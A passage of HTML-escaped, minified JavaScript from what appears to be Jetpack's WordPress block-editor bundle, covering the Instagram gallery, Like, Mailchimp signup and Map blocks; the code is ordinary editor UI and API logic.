WordPress.com&quot;,&quot;jetpack&quot;)})}),V&amp;&amp;(0,v.jsxs)(&quot;div&quot;,{className:&quot;wp-block-embed is-loading&quot;,children:[(0,v.jsx)(o.Spinner,{}),(0,v.jsx)(&quot;p&quot;,{children:__(&quot;Embedding…&quot;,&quot;jetpack&quot;)})]}),$&amp;&amp;(0,v.jsx)(&quot;div&quot;,{className:W,style:Z,children:Array.from(Array(i?C:U),(e,t)=&gt;(0,v.jsx)(&quot;span&quot;,{className:(0,l.A)(&quot;wp-block-jetpack-instagram-gallery__grid-post&quot;),style:J,children:K(t)},t))}),q&amp;&amp;(0,v.jsx)(n.InspectorControls,{children:(0,v.jsx)(h.A,{accountImageTotal:P.length,attributes:s,currentUserConnected:z,disconnectFromService:R,shouldRenderSidebarNotice:q&amp;&amp;!V&amp;&amp;P.length&lt;C,setAttributes:x})})]})})},92585(e,t,s){&quot;use strict&quot;;var r=s(74997),n=s(94375),o=s(89525),a=s(11148),i=s(85793);(0,n.M)(o,{edit:a.A,save:i.A,transforms:{from:[{type:&quot;block&quot;,blocks:[&quot;core/legacy-widget&quot;],isMatch:({idBase:e,instance:t})=&gt;!!t?.raw&amp;&amp;&quot;wpcom_instagram_widget&quot;===e,transform:({instance:e})=&gt;(0,r.createBlock)(&quot;jetpack/instagram-gallery&quot;,{columns:e.raw.columns,count:e.raw.count,accessToken:e.raw.token_id})}]}})},86975(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(86087),n=s(13022),o=s(10790);function a({src:e,alt:t,spacing:s}){const[a,i]=(0,r.useState)(!1),[l,c]=(0,r.useState)(&quot;auto&quot;),u=(0,r.useRef)(void 0),d=()=&gt;{i(!0),c(&quot;auto&quot;)};(0,r.useEffect)(()=&gt;{const t=e;if(t){const e=new window.Image;e.src=t,e.onload=d}u.current&amp;&amp;c(u.current.parentNode.getBoundingClientRect().width)},[e]);const p=-1*s,h=(0,n.A)(&quot;wp-block-jetpack-instagram-gallery__placeholder&quot;,{&quot;is-loaded&quot;:a}),m=a?{margin:p}:{margin:p,height:l},g=(0,n.A)({&quot;is-loaded&quot;:a});return(0,o.jsx)(&quot;span&quot;,{style:m,className:h,children:(0,o.jsx)(&quot;img&quot;,{alt:t,className:g,ref:u,src:e})})}},85793(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(94715),n=s(10790);const o=({attributes:{instagramUser:e}})=&gt;{const t=r.useBlockProps.save();return e&amp;&amp;(0,n.jsx)(&quot;div&quot;,{...t,children:(0,n.jsx)(&quot;a&quot;,{href:`https://www.instagram.com/${e}/`,rel:&quot;noopener noreferrer&quot;,target:&quot;_blank&quot;,children:`https://www.instagram.com/${e}/`})})}},49783(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(85985),n=s(51119),o=s(1455),a=s.n(o),i=s(86087),l=s(27723),c=s(80427);const __=l.__;function u({accessToken:e,noticeOperations:t,selectedAccount:s,setAttributes:o,setImages:l,setSelectedAccount:u}){const[d,p]=(0,i.useState)(!1),[h,m]=(0,i.useState)(!1),[g,f]=(0,i.useState)([]),b=(0,r.gB)();(0,i.useEffect)(()=&gt;{!e&amp;&amp;b&amp;&amp;(m(!0),a()({path:&quot;/wpcom/v2/instagram-gallery/connections&quot;}).then(e=&gt;{m(!1),f(e)}).catch(()=&gt;{m(!1),f([])}))},[e,b]),(0,i.useEffect)(()=&gt;{c.B===s||g.find(e=&gt;e.token===s)||u(void 0)},[s,u,g]);return{connectToService:()=&gt;{t.removeAllNotices(),p(!0),a()({path:&quot;/wpcom/v2/instagram-gallery/connect-url&quot;}).then(e=&gt;{const t=new n.A;t.open(e,&quot;connect-to-instagram-popup&quot;,&quot;toolbar=0,location=0,menubar=0,&quot;+t.getScreenCenterSpecs(700,700)),t.on(&quot;message&quot;,({keyring_id:e})=&gt;{if(p(!1),e){const t=e.toString();o({accessToken:t}),u(t)}}),t.on(&quot;close&quot;,e=&gt;{&quot;connect-to-instagram-popup&quot;===e&amp;&amp;p(!1)})}).catch(()=&gt;{t.createErrorNotice(__(&quot;An error occurred. Please try again later.&quot;,&quot;jetpack&quot;)),p(!1)})},disconnectFromService:()=&gt;{t.removeAllNotices(),o({accessToken:void 0,instagramUser:void 0}),l([])},isConnecting:d,isRequestingUserConnections:h,userConnections:g}}},53495(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(85985),n=s(1455),o=s.n(n),a=s(47143),i=s(86087),l=s(93832);function c(){const{isAutoDraft:e}=(0,a.useSelect)(e=&gt;{const{status:t}=e(&quot;core/editor&quot;).getCurrentPost();return{isAutoDraft:&quot;auto-draft&quot;===t}}),{savePost:t}=(0,a.useDispatch)(&quot;core/editor&quot;),[s,n]=(0,i.useState)(),[c,u]=(0,i.useState)(!1),d=(0,r.gB)();return(0,i.useEffect)(()=&gt;{d||s||c||(e?t():(u(!0),o()({path:(0,l.addQueryArgs)(&quot;/jetpack/v4/connection/url&quot;,{from:&quot;jetpack-block-editor&quot;,redirect:window.location.href})}).then(e=&gt;{n(e),u(!1)})))},[d,e,c,t,s]),{isRequestingWpcomConnectUrl:c,wpcomConnectUrl:s}}},80619(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(1455),n=s.n(r),o=s(86087),a=s(27723),i=s(93832),l=s(66087),c=s(80427);const __=a.__;function u({accessToken:e,noticeOperations:t,setAttributes:s,setSelectedAccount:r}){const[a,u]=(0,o.useState)([]),[d,p]=(0,o.useState)(!1);return(0,o.useEffect)(()=&gt;{e&amp;&amp;(t.removeAllNotices(),p(!0),n()({path:(0,i.addQueryArgs)(&quot;/wpcom/v2/instagram-gallery/gallery&quot;,{access_token:e,count:c.V})}).then(({external_name:e,images:n})=&gt;{if(p(!1),!n||!Array.isArray(n))return t.createErrorNotice(__(&quot;An error occurred. Please try again later.&quot;,&quot;jetpack&quot;)),u([]),s({accessToken:void 0,instagramUser:void 0}),void r(void 0);(0,l.isEmpty)(n)&amp;&amp;t.createErrorNotice(__(&quot;No images were found in your Instagram account.&quot;,&quot;jetpack&quot;)),s({instagramUser:e}),u(n)}).catch(()=&gt;{p(!1),u([]),s({accessToken:void 0,instagramUser:void 0}),r(void 0)}))},[e,s,r]),{images:a,isLoadingGallery:d,setImages:u}}},434(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;m});var r=s(97999),n=s(94715),o=s(56427),a=s(86087),i=s(27723),l=s(78218),c=s(63757),u=s(94530),d=s(86239),p=s(71969),h=(s(52054),s(10790));const __=i.__;const m=function({attributes:e,setAttributes:t}){const s=(0,n.useBlockProps)(),m=(0,l.y)(p.attributes,e),{showReblogButton:g,showAvatars:f}=m,b=!(0,r.isWpcomPlatformSite)(),v=[c,u,d],k=e=&gt;e.preventDefault();return(0,h.jsxs)(&quot;div&quot;,{...s,children:[(0,h.jsxs)(n.InspectorControls,{children:[b&amp;&amp;(0,h.jsx)(&quot;div&quot;,{className:&quot;wp-block-jetpack-like__learn-more&quot;,children:(0,h.jsx)(o.ExternalLink,{href:&quot;https://jetpack.com/support/likes/&quot;,children:__(&quot;Learn more&quot;,&quot;jetpack&quot;)})}),(0,h.jsxs)(o.PanelBody,{title:__(&quot;Settings&quot;,&quot;jetpack&quot;),children:[(0,r.isSimpleSite)()&amp;&amp;(0,h.jsx)(o.ToggleControl,{label:__(&quot;Show reblog button&quot;,&quot;jetpack&quot;),checked:g,onChange:()=&gt;t({showReblogButton:!g}),__nextHasNoMarginBottom:!0}),(0,h.jsx)(o.ToggleControl,{label:__(&quot;Show avatars&quot;,&quot;jetpack&quot;),checked:f,onChange:()=&gt;t({showAvatars:!f}),__nextHasNoMarginBottom:!0})]})]},&quot;like-inspector&quot;),(0,h.jsxs)(&quot;div&quot;,{className:&quot;wpl-likebox&quot;,children:[(0,r.isSimpleSite)()&amp;&amp;g&amp;&amp;(0,h.jsx)(&quot;div&quot;,{className:&quot;wpl-button reblog&quot;,children:(0,h.jsx)(&quot;a&quot;,{href:&quot;#&quot;,title:__(&quot;Reblog this post on your main site.&quot;,&quot;jetpack&quot;),className:&quot;reblog sd-button&quot;,rel:&quot;nofollow&quot;,children:(0,h.jsx)(&quot;span&quot;,{children:__(&quot;Reblog&quot;,&quot;jetpack&quot;)})})}),(0,h.jsx)(&quot;div&quot;,{className:&quot;wpl-button like&quot;,children:(0,h.jsx)(&quot;a&quot;,{href:&quot;#&quot;,className:&quot;sd-button like&quot;,rel:&quot;nofollow&quot;,onClick:k,children:(0,h.jsx)(&quot;span&quot;,{children:__(&quot;Like&quot;,&quot;jetpack&quot;)})})}),f&amp;&amp;(0,h.jsx)(&quot;ul&quot;,{className:&quot;wpl-avatars&quot;,children:v.map((e,t)=&gt;(0,h.jsx)(&quot;li&quot;,{className:&quot;wp-liker-me&quot;,children:(0,h.jsx)(&quot;a&quot;,{className:&quot;wpl-liker&quot;,href:&quot;#&quot;,rel:&quot;nofollow&quot;,onClick:k,children:(0,h.jsx)(&quot;img&quot;,{src:e,className:&quot;avatar avatar-30&quot;,width:30,height:30,alt:&quot;&quot;})})},`liker-${t}`))}),(0,h.jsx)(&quot;div&quot;,{className:&quot;wpl-count&quot;,children:(0,h.jsx)(&quot;span&quot;,{className:&quot;wpl-count-text&quot;,children:(0,h.jsx)(&quot;a&quot;,{href:&quot;#&quot;,onClick:k,children:(0,a.createInterpolateElement)((0,i.sprintf)(
// translators: %1$d: Number of likes
__(&quot;&lt;span&gt;%1$d&lt;/span&gt; likes&quot;,&quot;jetpack&quot;),v.length),{span:(0,h.jsx)(&quot;span&quot;,{className:&quot;wpl-count-number&quot;})})})})})]})]})}},67511(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(71969),o=s(434);s(52054);(0,r.M)(n,{edit:o.A,save:()=&gt;null})},40483(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(94715),n=s(56427),o=s(27723),a=s(13022),i=s(54790),l=s(10790);const __=o.__,c={name:&quot;jetpack/button&quot;,attributes:{element:&quot;button&quot;,text:__(&quot;Join my Mailchimp audience&quot;,&quot;jetpack&quot;),uniqueId:&quot;mailchimp-widget-id&quot;}},u=({attributes:e,setAttributes:t,audition:s})=&gt;{const{emailPlaceholder:o=i.Bd,consentText:u=i.Do,processingLabel:d=i.HD,successLabel:p=i.XO,errorLabel:h=i.Ys}=e,m={[i.k1]:d,[i.EM]:p,[i.Dc]:h}[s];return(0,l.jsxs)(&quot;div&quot;,{className:(0,a.A)({[`${i.j7}_notication-audition`]:s}),children:[(0,l.jsx)(n.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,&quot;aria-label&quot;:o,className:`${i.j7}_text-input`,disabled:!0,onChange:()=&gt;!1,placeholder:o,title:__(&quot;You can edit the email placeholder in the sidebar.&quot;,&quot;jetpack&quot;),type:&quot;email&quot;}),(0,l.jsx)(r.InnerBlocks,{template:[[c.name,c.attributes]],templateLock:&quot;all&quot;}),(0,l.jsx)(r.RichText,{tagName:&quot;p&quot;,placeholder:__(&quot;Write consent text&quot;,&quot;jetpack&quot;),value:u,onChange:e=&gt;t({consentText:e}),inlineToolbar:!0}),s&amp;&amp;(0,l.jsx)(&quot;div&quot;,{className:`${i.j7}_notification ${i.j7}_${s}`,role:s===i.Dc?&quot;alert&quot;:&quot;status&quot;,children:m})]})}},54790(e,t,s){&quot;use strict&quot;;s.d(t,{Bd:()=&gt;d,Dc:()=&gt;a,Do:()=&gt;p,EM:()=&gt;o,HD:()=&gt;h,JA:()=&gt;c,XO:()=&gt;m,Ys:()=&gt;g,an:()=&gt;l,gI:()=&gt;u,j7:()=&gt;i,k1:()=&gt;n});var r=s(27723);const __=r.__,n=&quot;processing&quot;,o=&quot;success&quot;,a=&quot;error&quot;,i=&quot;wp-block-jetpack-mailchimp&quot;,l=0,c=1,u=2,d=__(&quot;Enter your email&quot;,&quot;jetpack&quot;),p=__(&quot;By clicking submit, you agree to share your email address with the site owner and Mailchimp to receive marketing, updates, and other emails from the site owner. Use the unsubscribe link in those emails to opt out at any time.&quot;,&quot;jetpack&quot;),h=__(&quot;Processing…&quot;,&quot;jetpack&quot;),m=__(&quot;Success! You&#039;re on the list.&quot;,&quot;jetpack&quot;),g=__(&quot;Whoops! There was an error and we couldn&#039;t process your subscription. Please reload the page and try again.&quot;,&quot;jetpack&quot;)},20093(e,t,s){&quot;use strict&quot;;s.d(t,{o:()=&gt;d});var r=s(94715),n=s(56427),o=s(86087),a=s(27723),i=s(54790),l=s(60462),c=s(10790);const __=a.__,u=({auditionNotification:e,clearAudition:t,setAttributes:s,emailPlaceholder:r=i.Bd,processingLabel:o=i.HD,successLabel:a=i.XO,errorLabel:u=i.Ys,interests:d,signupFieldTag:p,signupFieldValue:h,connectURL:m})=&gt;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(n.PanelBody,{title:__(&quot;Text Elements&quot;,&quot;jetpack&quot;),children:(0,c.jsx)(n.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Email Placeholder&quot;,&quot;jetpack&quot;),value:r,onChange:e=&gt;{s({emailPlaceholder:e}),t()}})}),(0,c.jsxs)(n.PanelBody,{title:__(&quot;Notifications&quot;,&quot;jetpack&quot;),children:[(0,c.jsx)(n.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Processing text&quot;,&quot;jetpack&quot;),value:o,onChange:t=&gt;{s({processingLabel:t}),e(i.k1)}}),(0,c.jsx)(n.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Success text&quot;,&quot;jetpack&quot;),value:a,onChange:t=&gt;{s({successLabel:t}),e(i.EM)}}),(0,c.jsx)(n.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Error text&quot;,&quot;jetpack&quot;),value:u,onChange:t=&gt;{s({errorLabel:t}),e(i.Dc)}})]}),(0,c.jsxs)(n.PanelBody,{title:__(&quot;Mailchimp Groups&quot;,&quot;jetpack&quot;),children:[(0,c.jsx)(l.A,{interests:d,onChange:(e,t)=&gt;{const r=[...new Set([...d,e])].filter(s=&gt;!(s===e&amp;&amp;!t)&amp;&amp;s);s({interests:r})}}),(0,c.jsx)(n.ExternalLink,{href:&quot;https://mailchimp.com/help/send-groups-audience/&quot;,children:__(&quot;Learn about groups&quot;,&quot;jetpack&quot;)})]}),(0,c.jsxs)(n.PanelBody,{title:__(&quot;Signup Location Tracking&quot;,&quot;jetpack&quot;),children:[(0,c.jsx)(n.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Signup Field Tag&quot;,&quot;jetpack&quot;),placeholder:__(&quot;SIGNUP&quot;,&quot;jetpack&quot;),value:p,onChange:e=&gt;s({signupFieldTag:e})}),(0,c.jsx)(n.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Signup Field Value&quot;,&quot;jetpack&quot;),placeholder:__(&quot;website&quot;,&quot;jetpack&quot;),value:h,onChange:e=&gt;s({signupFieldValue:e})}),(0,c.jsx)(n.ExternalLink,{href:&quot;https://mailchimp.com/help/determine-webpage-signup-location/&quot;,children:__(&quot;Learn about signup location tracking&quot;,&quot;jetpack&quot;)})]}),(0,c.jsx)(n.PanelBody,{title:__(&quot;Mailchimp Connection&quot;,&quot;jetpack&quot;),children:(0,c.jsx)(n.ExternalLink,{href:m,children:__(&quot;Manage Connection&quot;,&quot;jetpack&quot;)})})]}),d=({connectURL:e,attributes:t,setAttributes:s,setAudition:n})=&gt;{const{emailPlaceholder:a=i.Bd,processingLabel:l=i.HD,successLabel:d=i.XO,errorLabel:p=i.Ys,interests:h,signupFieldTag:m,signupFieldValue:g}=t,f=(0,o.useRef)(null),b=()=&gt;n(null);return(0,c.jsx)(r.InspectorControls,{children:(0,c.jsx)(u,{auditionNotification:e=&gt;{n(e),f.current&amp;&amp;clearTimeout(f.current),f.current=setTimeout(b,3e3)},clearAudition:b,emailPlaceholder:a,processingLabel:l,successLabel:d,errorLabel:p,interests:h,setAttributes:s,signupFieldTag:m,signupFieldValue:g,connectURL:e})})}},31491(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(74997),n=s(27723),o=s(66087);const __=n.__,a=[&quot;submitButtonText&quot;,&quot;backgroundButtonColor&quot;,&quot;textButtonColor&quot;,&quot;submitButtonClasses&quot;,&quot;customBackgroundButtonColor&quot;,&quot;customTextButtonColor&quot;],i={attributes:{emailPlaceholder:{type:&quot;string&quot;,default:__(&quot;Enter your email&quot;,&quot;jetpack&quot;)},submitButtonText:{type:&quot;string&quot;,default:__(&quot;Join my email list&quot;,&quot;jetpack&quot;)},backgroundButtonColor:{type:&quot;string&quot;},textButtonColor:{type:&quot;string&quot;},submitButtonClasses:{type:&quot;string&quot;},customBackgroundButtonColor:{type:&quot;string&quot;},customTextButtonColor:{type:&quot;string&quot;},consentText:{type:&quot;string&quot;,default:__(&quot;By clicking submit, you agree to share your email address with the site owner and Mailchimp to receive marketing, updates, and other emails from the site owner. Use the unsubscribe link in those emails to opt out at any time.&quot;,&quot;jetpack&quot;)},interests:{type:&quot;array&quot;,default:[]},processingLabel:{type:&quot;string&quot;,default:__(&quot;Processing…&quot;,&quot;jetpack&quot;)},signupFieldTag:{type:&quot;string&quot;},signupFieldValue:{type:&quot;string&quot;},successLabel:{type:&quot;string&quot;,default:__(&quot;Success! You&#039;re on the list.&quot;,&quot;jetpack&quot;)},errorLabel:{type:&quot;string&quot;,default:__(&quot;Whoops! There was an error and we couldn&#039;t process your subscription. Please reload the page and try again.&quot;,&quot;jetpack&quot;)},preview:{type:&quot;boolean&quot;,default:!1}},migrate:e=&gt;{const t=Object.fromEntries(Object.entries(e).filter(([e])=&gt;!a.includes(e))),s={text:(n=e).submitButtonText||__(&quot;Join my email list&quot;,&quot;jetpack&quot;),textColor:n.textButtonColor,customTextColor:n.customTextButtonColor,backgroundColor:n.backgroundButtonColor,customBackgroundColor:n.customBackgroundButtonColor};var n;return[t,[(0,r.createBlock)(&quot;jetpack/button&quot;,{element:&quot;button&quot;,uniqueId:&quot;mailchimp-widget-id&quot;,...s})]]},isEligible:(e,t)=&gt;(0,o.isEmpty)(t)||Object.entries(e).some(([e,t])=&gt;t&amp;&amp;a.includes(e)),save:()=&gt;null}},52243(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;v});var r=s(85985),n=s(1455),o=s.n(n),a=s(94715),i=s(56427),l=s(86087),c=s(93832),u=s(37120),d=s(40483),p=s(54790),h=s(20093),m=s(88368),g=s(36837),f=s(10790);const b=(0,r.sh)(u),v=(0,i.withNotices)(({attributes:e,setAttributes:t,notices:s,noticeUI:n,noticeOperations:i})=&gt;{const u=(0,a.useBlockProps)(),[v,k]=(0,l.useState)(null),[y,x]=(0,l.useState)(p.an),[j,w]=(0,l.useState)(null),[_,C]=(0,l.useState)(null),A=(0,l.useCallback)(()=&gt;{const e=(0,r.gB)();e?o()({path:&quot;/wpcom/v2/mailchimp&quot;,method:&quot;GET&quot;}).then(({connect_url:t,code:s})=&gt;{w(t),x(&quot;connected&quot;===s?p.JA:p.gI),C(e)},({message:t})=&gt;{w(null),x(p.gI),C(e),i.removeAllNotices(),i.createErrorNotice(t)}):o()({path:(0,c.addQueryArgs)(&quot;/jetpack/v4/connection/url&quot;,{from:&quot;jetpack-block-editor&quot;,redirect:window.location.href})}).then(t=&gt;{w(t),x(p.gI),C(e)})},[w,x,C,i]);let S;return(0,l.useEffect)(()=&gt;{A()},[A]),e.preview?S=(0,f.jsx)(d.A,{attributes:e,setAttributes:t,audition:v}):y===p.an?S=(0,f.jsx)(m.A,{icon:b,notices:s}):y===p.gI?S=_?(0,f.jsx)(g.W,{icon:b,notices:s,connectURL:j,apiCall:A}):(0,f.jsx)(g.V,{icon:b,notices:s,connectURL:j}):y===p.JA&amp;&amp;(S=(0,f.jsxs)(f.Fragment,{children:[(0,f.jsx)(h.o,{connectURL:j,attributes:e,setAttributes:t,setAudition:k}),(0,f.jsx)(d.A,{attributes:e,setAttributes:t,audition:v})]})),(0,f.jsxs)(&quot;div&quot;,{...u,children:[n,S]})})},97618(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(37120),o=s(31491),a=s(52243),i=s(96014),l=s(47638);s(79719);(0,r.M)(n,{edit:a.A,save:i.A,deprecated:[o.A],transforms:l.A})},88368(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(56427),n=s(27723),o=s(54790),a=s(10790);const __=n.__,i=({icon:e,notices:t})=&gt;(0,a.jsx)(r.Placeholder,{icon:e,notices:t,className:o.j7,label:__(&quot;Mailchimp&quot;,&quot;jetpack&quot;),children:(0,a.jsx)(&quot;div&quot;,{className:&quot;align-center&quot;,children:(0,a.jsx)(r.Spinner,{})})})},60462(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(1455),n=s.n(r),o=s(56427),a=s(86087),i=s(10790);class l extends a.Component{state={interest_categories:[]};componentDidMount(){this.retrieveGroups()}retrieveGroups=()=&gt;{n()({method:&quot;GET&quot;,path:&quot;/wpcom/v2/mailchimp/groups&quot;}).then(e=&gt;{const{interest_categories:t}=e;this.setState({interest_categories:t})})};render=()=&gt;{const{interest_categories:e}=this.state,{interests:t,onChange:s}=this.props;return(0,i.jsx)(a.Fragment,{children:e&amp;&amp;(e||[]).map(e=&gt;e.interests.map(e=&gt;(0,i.jsx)(o.CheckboxControl,{__nextHasNoMarginBottom:!0,label:e.name,value:e.id,checked:t.includes(e.id),onChange:t=&gt;s(e.id,t)},e.id)))})}}const c=l;l.defaultProps={interests:[],onChange:()=&gt;null}},36837(e,t,s){&quot;use strict&quot;;s.d(t,{V:()=&gt;l,W:()=&gt;i});var r=s(56427),n=s(27723),o=s(54790),a=s(10790);const __=n.__,i=({icon:e,notices:t,connectURL:s,apiCall:n})=&gt;(0,a.jsxs)(r.Placeholder,{className:o.j7,icon:e,label:__(&quot;Mailchimp&quot;,&quot;jetpack&quot;),notices:t,instructions:__(&quot;You need to connect your Mailchimp account and choose an audience in order to start collecting Email subscribers.&quot;,&quot;jetpack&quot;),children:[(0,a.jsx)(r.Button,{variant:&quot;secondary&quot;,href:s,target:&quot;_blank&quot;,children:(0,a.jsx)(&quot;span&quot;,{children:__(&quot;Set up Mailchimp form&quot;,&quot;jetpack&quot;)})}),(0,a.jsx)(&quot;div&quot;,{className:`${o.j7}-recheck`,children:(0,a.jsx)(r.Button,{variant:&quot;link&quot;,onClick:n,children:(0,a.jsx)(&quot;span&quot;,{children:__(&quot;Re-check Connection&quot;,&quot;jetpack&quot;)})})})]}),l=({icon:e,notices:t,connectURL:s})=&gt;(0,a.jsx)(r.Placeholder,{className:o.j7,icon:e,label:__(&quot;Mailchimp&quot;,&quot;jetpack&quot;),notices:t,instructions:__(&quot;First, you&#039;ll need to connect your WordPress.com account.&quot;,&quot;jetpack&quot;),children:(0,a.jsx)(r.Button,{variant:&quot;secondary&quot;,href:s,children:__(&quot;Connect to WordPress.com&quot;,&quot;jetpack&quot;)})})},96014(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(94715),n=s(10790);const o=()=&gt;{const e=r.useBlockProps.save();return(0,n.jsx)(&quot;div&quot;,{...e,children:(0,n.jsx)(r.InnerBlocks.Content,{})})}},47638(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(74997);const n={to:[{type:&quot;block&quot;,blocks:[&quot;jetpack/subscriptions&quot;],transform:()=&gt;(0,r.createBlock)(&quot;jetpack/subscriptions&quot;)}]}},98144(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(56427),n=s(86087),o=s(27723),a=s(67670),i=(s(89592),s(10790));const __=o.__;class l extends n.Component{render(){const{onClose:e,onAddPoint:t,onError:s,apiKey:n,mapProvider:o}=this.props;return(0,i.jsxs)(r.Button,{className:&quot;component__add-point&quot;,children:[__(&quot;Add marker&quot;,&quot;jetpack&quot;),(0,i.jsxs)(r.Popover,{className:&quot;component__add-point__popover&quot;,position:&quot;bottom center&quot;,children:[(0,i.jsx)(r.Button,{className:&quot;component__add-point__close&quot;,onClick:e,children:(0,i.jsx)(r.Dashicon,{icon:&quot;no&quot;})}),(0,i.jsx)(a.A,{onAddPoint:t,label:__(&quot;Add a location&quot;,&quot;jetpack&quot;),apiKey:n,onError:s,mapProvider:o})]})]})}}l.defaultProps={onAddPoint:()=&gt;{},onClose:()=&gt;{},onError:()=&gt;{},mapProvider:&quot;mapbox&quot;};const c=l},6199(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(86087),n=s(57500),o=s(14561),a=s(10790);const i=(0,r.forwardRef)((e,t)=&gt;{if(&quot;mapkit&quot;===e.mapProvider){const s={...e,ref:null};return(0,a.jsx)(o.A,{...s,ref:t})}return(0,a.jsx)(n.A,{...e,ref:t})})},19931(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(9216),n=s(15109),o=s(10790);const a=e=&gt;&quot;mapkit&quot;===e.mapProvider?(0,o.jsx)(n.A,{...e}):(0,o.jsx)(r.A,{...e})},9216(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(86087),n=s(16815);class o extends r.Component{componentDidMount(){const{mapboxgl:e}=this.props;this.el=document.createElement(&quot;DIV&quot;),this.infowindow=(0,n.BY)(e),this.infowindow.setDOMContent(this.el),this.infowindow.on(&quot;close&quot;,this.closeClick)}componentDidUpdate(e){this.props.activeMarker!==e.activeMarker&amp;&amp;(this.props.activeMarker?this.openWindow():this.closeWindow())}render(){return this.el?(0,r.createPortal)(this.props.children,this.el):null}closeClick=()=&gt;{this.props.unsetActiveMarker()};openWindow(){const{map:e,activeMarker:t}=this.props;this.infowindow.setLngLat(t.getPoint()).addTo(e)}closeWindow(){this.infowindow.remove()}}o.defaultProps={unsetActiveMarker:()=&gt;{},activeMarker:null,map:null,mapboxgl:null};const a=o},15109(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(56427),n=s(86087),o=s(27723),a=s(5389),i=s(10790);const __=o.__,l=()=&gt;{const{activeMarker:e,setActiveMarker:t,calloutReference:s,admin:o,points:l,setPoints:c}=(0,a.ST)(),[u,d]=(0,n.useState)(l),[p,h]=(0,n.useState)(!1),{title:m,caption:g}=u.find(t=&gt;t.id===e?.id)||{},f=t=&gt;{const s=l.map(s=&gt;s.id===e.id?{...s,...t}:s);d(s),h(!0)};return(0,n.useEffect)(()=&gt;{!e&amp;&amp;p&amp;&amp;c(u)},[e,p,u,c]),(0,n.useEffect)(()=&gt;{d(l),h(!1)},[l]),e&amp;&amp;s?(0,n.createPortal)((0,i.jsxs)(n.Fragment,{children:[o&amp;&amp;(0,i.jsxs)(n.Fragment,{children:[(0,i.jsx)(r.TextControl,{label:__(&quot;Marker Title&quot;,&quot;jetpack&quot;),value:m,onChange:e=&gt;f({title:e}),__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,i.jsx)(r.TextareaControl,{className:&quot;wp-block-jetpack-map__marker-caption&quot;,label:__(&quot;Marker Caption&quot;,&quot;jetpack&quot;),value:g,rows:&quot;2&quot;,tag:&quot;textarea&quot;,onChange:e=&gt;f({caption:e}),__nextHasNoMarginBottom:!0}),(0,i.jsxs)(r.Button,{onClick:()=&gt;{const s=l.filter(t=&gt;t.id!==e.id);d(s),h(!0),t(null)},className:&quot;wp-block-jetpack-map__delete-btn&quot;,children:[(0,i.jsx)(r.Dashicon,{icon:&quot;trash&quot;,size:&quot;15&quot;}),&quot; &quot;,__(&quot;Delete Marker&quot;,&quot;jetpack&quot;)]})]}),!o&amp;&amp;(0,i.jsxs)(n.Fragment,{children:[(0,i.jsx)(&quot;h3&quot;,{children:m}),(0,i.jsx)(&quot;p&quot;,{children:g})]})]}),s):null}},56099(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(86087),n=s(34377),o=s(16815);s(23115);class a extends r.Component{componentDidMount(){this.renderMarker()}componentWillUnmount(){this.marker&amp;&amp;(this.marker.remove(),this.marker=null)}componentDidUpdate(){this.renderMarker()}handleClick=()=&gt;{const{onClick:e}=this.props;e(this)};getPoint=()=&gt;{const{point:e}=this.props;return[e.coordinates.longitude,e.coordinates.latitude]};renderMarker(){const{map:e,point:t,mapboxgl:s,markerColor:r,mapRef:a}=this.props,{handleClick:i}=this,l=[t.coordinates.longitude,t.coordinates.latitude],{currentDoc:c}=(0,n.sG)(a.current),u=this.marker?this.marker.getElement():c.createElement(&quot;div&quot;);this.marker?this.marker.setLngLat(l):(u.className=&quot;wp-block-jetpack-map-marker&quot;,this.marker=new s.Marker(u).setLngLat(l).setOffset([0,-19]).addTo(e),this.marker.getElement().addEventListener(&quot;click&quot;,i)),(0,o.iU)(u,r)}render(){return null}}a.defaultProps={point:{},map:null,markerColor:&quot;#000000&quot;,mapboxgl:null,onClick:()=&gt;{}};const i=a},57500(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;f});var r=s(56427),n=s(86087),o=s(27723),a=s(66087),i=s(34377),l=s(55740),c=s(82063),u=s(16815),d=s(91844),p=s(19931),h=s(56099),m=s(10790);const __=o.__;class g extends 